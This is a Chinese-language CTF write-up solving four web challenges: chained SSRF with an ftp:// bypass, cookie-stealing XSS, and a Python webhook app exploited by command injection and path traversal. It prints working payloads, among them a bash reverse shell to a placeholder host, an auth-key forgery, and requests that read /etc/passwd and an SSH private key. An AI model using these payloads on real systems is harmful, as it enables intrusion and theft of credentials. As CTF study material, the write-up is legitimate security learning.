cdxy.me
Footprints on Cyber Security and Python

Name:捡吗? Rank:100

给了个页面,查看源码发现ssrf,根据自身的phpinfo找到本机内网IP:10.23.140.139,根据hint给出的 10.23.173.x 地址段进行扫描,找到 10.23.173.190,查看源码发现新IP:172.17.0.1

以下是当时记录的fuzz过程

一次跳板扫描内网
/news.php?url=10.23.173.190
host1   http://120.132.21.19/ (公)->10.23.140.139 (内)
host2   10.23.173.190 (内) -> 172.17.0.1(内)

以上地址端口扫描结果只有22和80
C段使用端口探测(无结果:22/80/443/23/6379-redis/8080/11211)


两次跳板扫描内网
/news.php?url=172.17.0.1/news.php%3Furl%3D127.0.0.1
公网120.132.21.19->172.17.0.1 ->172.17.0.0/24  未发现其他主机
公网120.132.21.19->10.23.173.190-> 10.23.173.0/24 未发现其他主机
公网120.132.21.19->10.23.173.190-> 172.17.0.0/24 未发现其他主机(和公网访问的一样)
公网120.132.21.19->172.17.0.1-> 10.23.173.0/24 未发现其他主机
公网120.132.21.19->172.17.0.1-> 127.0.0.1 未发现内容
公网120.132.21.19->10.23.173.190-> 127.0.0.1 未发现内容

这段fuzz用了好长时间最终也没有找到结果,后来hint告知了ftp协议才做出来。

png

最终payload是在大小写绕过的基础上用ftp协议fuzz 21端口得到的结果

http://120.132.21.19/news.php?url=10.23.173.190/news.php%3furl%3dftP%3a//172.17.0.2:21/flag.txt

png

这题在hint之前我自己并未想到使用ftp协议,原因是当时看到公网SSRF入口页面是这样给的:

<img src="./news.php?url=127.0.0.1/img.jpg">

而读到内网10.23.173.190之后的页面是这样给的:

<img src="./news.php?url=http://172.17.0.1/img.jpg">

当时我已经注意到这里多了个http协议,随后我在payload里加上http协议发现读不到内容,而去掉该协议能够读到内容,换成其他协议也读不到内容,因此猜想背后的php逻辑是这样的:

$url = 'http://'.$_GET['url']

在第二个页面里作者为了提示出第三个网段(172.17.0.1),肯定要手动修改这个页面,也许是习惯性的加了个HTTP。而且这是第一道WEB题,做两跳+fuzz已经对得起这100分了。

事实证明这个http://是一个重要的线索,当时应该再心细一点,测试协议时候再试试绕过,这题就能够更早解出来。

Name:弹幕 Rank:200

碰巧拿了一血。访问主页是个弹幕留言板,Chrome开console发现已经被X,仔细一看XSS后台地址在这个web服务器上,于是明白这是主办方留的"XSS后门",然后向该后门地址发送script标签,无过滤直接打到cookie,cookie中拿到flag。

png

Name:白吗?全是套路 Rank:300

题如其名,全是套路。

当时记录的黑盒fuzz结果:

http://120.132.20.149/l.php phpstudy 的phpinfo
http://120.132.20.149/phpinfo.php phpinfo
http://120.132.20.149/phpMyAdmin/ 这个页面好像是静态的,无功能http://120.132.20.149/readme 有很多信息,同时readme.txt也有,很可能是主办方搅屎,不一定可信

web主页被注释的form里只有./submit.php能用,无论怎么提交都是
<script>alert('success');window.location.href='index.php'</script>

/admin的登录界面提交给/admin/check.php,这个页面随意修改参数返回的也都是一样的。

http://120.132.20.149/admin/main.php 固定返回一个<script>,估计也是假的。。。

后来师傅fuzz到了wwwroot.zip然后开始crack,最终发现zip也是假的。

最终队友在web1出了之后,得知SSRF第二跳可以变协议,用file://协议读了本地路径,发现除了/submit.php之外都是静态页面,读取/submit.php源码:

http://static.cdxy.me/Screenshot%20from%202017-05-07%2010-30-47.png

通过三个线索判断这题是XSS:

  • hint给出的“flag不在数据库中”
  • 源码的“XSS”变量名
  • 黑盒/readme指出的 "1.数据库中每增加一条ID,访问一次"

通过前台测试XSS成功,在referer中发现触发XSS的页面地址:

http://127.0.0.1/admin/b9557ee76eeb61cadda090855a47d266-1.php?id=77930

然后直接file协议读之,得到新路径js.php,再读之得到flag。

我们利用了web1的SSRF漏洞读取web3的源码才得以突破,可能是非预期解法。

那么另一个解法就是利用web3注释掉的这个form盲打XSS,然后从document.header.innerHTML 中得到 js.php 这一文件名,然后控制admin访问得到flag。

Name:WebHook Rank:500

一道Python审计题,过程中主办方根据选手流量多次热补丁,shell失而复得,最后通过文件读取拿到flag。

题目只给出源码 https://github.com/howmp/webhook 源码有6个commit,开赛的时候只有第一个commit,后面是比赛时上的补丁。

本地起环境,看了一下逻辑,得到代码在公网部署的地址,然后跟进os.system很快发现两处命令执行。

这两个执行在build()函数的url参数和branch参数。

if not os.path.isdir(basedir):
    r = os.system("git clone %s" % url)
    if r != 0:
        log.critical('%s clone error' % name)
        return
    else:
        log.info('%s clone ok' % name)
env = 'GIT_DIR="%s/.git" GIT_WORK_TREE="%s/" ' % (basedir, basedir)
# change branch
r = os.system(env + "git checkout master && " + env +
              "git pull && " + env + " git checkout %s" % branch)

继续跟进发现限制如下:

  1. url参数命令执行需要得到 SECRET_KEY
  2. branch参数的命令执行需要得知 repos.json 已有仓库的名字

branch参数RCE

访问公网http://webhook.ssctf.seclover.com:8000/webhooklog找了一个别人用过的仓库名,通过branch参数的命令执行反弹了第一个shell

POST /push HTTP/1.1
Host: webhook.ssctf.seclover.com:8000
Content-Type: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Connection: close
Content-Length: 101

{"repository":{"name":"flag"},"ref":"refs/heads/test || bash -i >& /dev/tcp/x.x.x.x/x 0>&1"}

拿下shell后进去开始找flag,过程中ps一下发现别人也进来了,当时为了抢一血也没管那么多,找了一会发现服务器挂了。

再次上线的时候主办方说发公告说这个漏洞已经补啦,同时在github更新了代码。

这个patch中直接写死了branch参数导致该漏洞无法再被利用。

url参数RCE(1)

url参数的利用稍微复杂,需要先通过addrepo()函数修改repos.json,其中有一行校验权限。

if key != md5.md5(repo + app.config['SECRET_KEY'] * 20 + repo).hexdigest():
        abort(403)

这里幸亏我刚刚拿shell的时候cat了源码,看到了SECRET_KEY='ssctf',然后过了这个检验,写入成功,然后执行拿shell。

然后官方发布第二个patch补了这个漏洞。

url参数RCE(2)

这个patch修补方案是用正则过滤了一下url参数。

m = re.search(r'https://(github\.com|git\.coding\.net)/\w+/(\w+)\.git', url)
if not m:
    abort(403)

显然正则是可以绕过的:https://github.com/xxx/xxx.git || shell

然而官方又甩来一记补丁。

补丁更新了正则,看样子是过不去了。

r'^https://(github\.com|git\.coding\.net)/\w+/(\w+)\.git$'

任意文件读取

这个时候我发现一血已经出了,索性放松下来再去看源码,发现 dir_listing() 函数一处登录后的文件读取:

@app.route('/', defaults={'req_path': ''})
@app.route('/<path:req_path>')
@auth.login_required
def dir_listing(req_path):
    BASE_DIR = os.path.join(app.root_path, 'outfile', session['repo'])

    # Joining the base and the requested path
    abs_path = os.path.join(BASE_DIR, req_path)

    if os.path.isfile(abs_path):
        return send_file(abs_path)

这里输入req_path的输入是在路由中。利用方式是首先通过 SECRET_KEY 构造 addrepo()key 参数。

>>> md5.md5('pocserver'+s*20+'pocserver').hexdigest()
'7d6b51081d6daa9afcff082359c20d2d'

然后通过GET /addrepo上传一个repo,注意url要真实有效,repo/pass参数为自己设置的登录名和密码。

http://webhook.ssctf.seclover.com:8000/addrepo?repo=pocserver&key=7d6b51081d6daa9afcff082359c20d2d&url=https://github.com/Xyntax/pocserver.git&pass=fff

上传返回OK后,GET / 填入repo和pass完成登录后通过路由即可读取任意文件。

GET /../../../../../../etc/passwd HTTP/1.1
Host: webhook.ssctf.seclover.com:8000
Cache-Control: max-age=0
Authorization: Basic cG9jc2VydmVyOmZmZg==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: session=eyJyZXBvIjp7IiBiIjoiY0c5amMyVnlkbVZ5In19.C--N3Q.I4NedA1Bak0NauDznRmYm-UMo2w
Connection: close

最终在 .bash_history 中看到管理员指向性操作。

png

然后读取 /home/www-root/.ssh/id_rsa 复制到本地

png

登录clone该项目,拿到flag

png

随后官方又更新了两个patch修复该漏洞

期待大佬们的其他思路。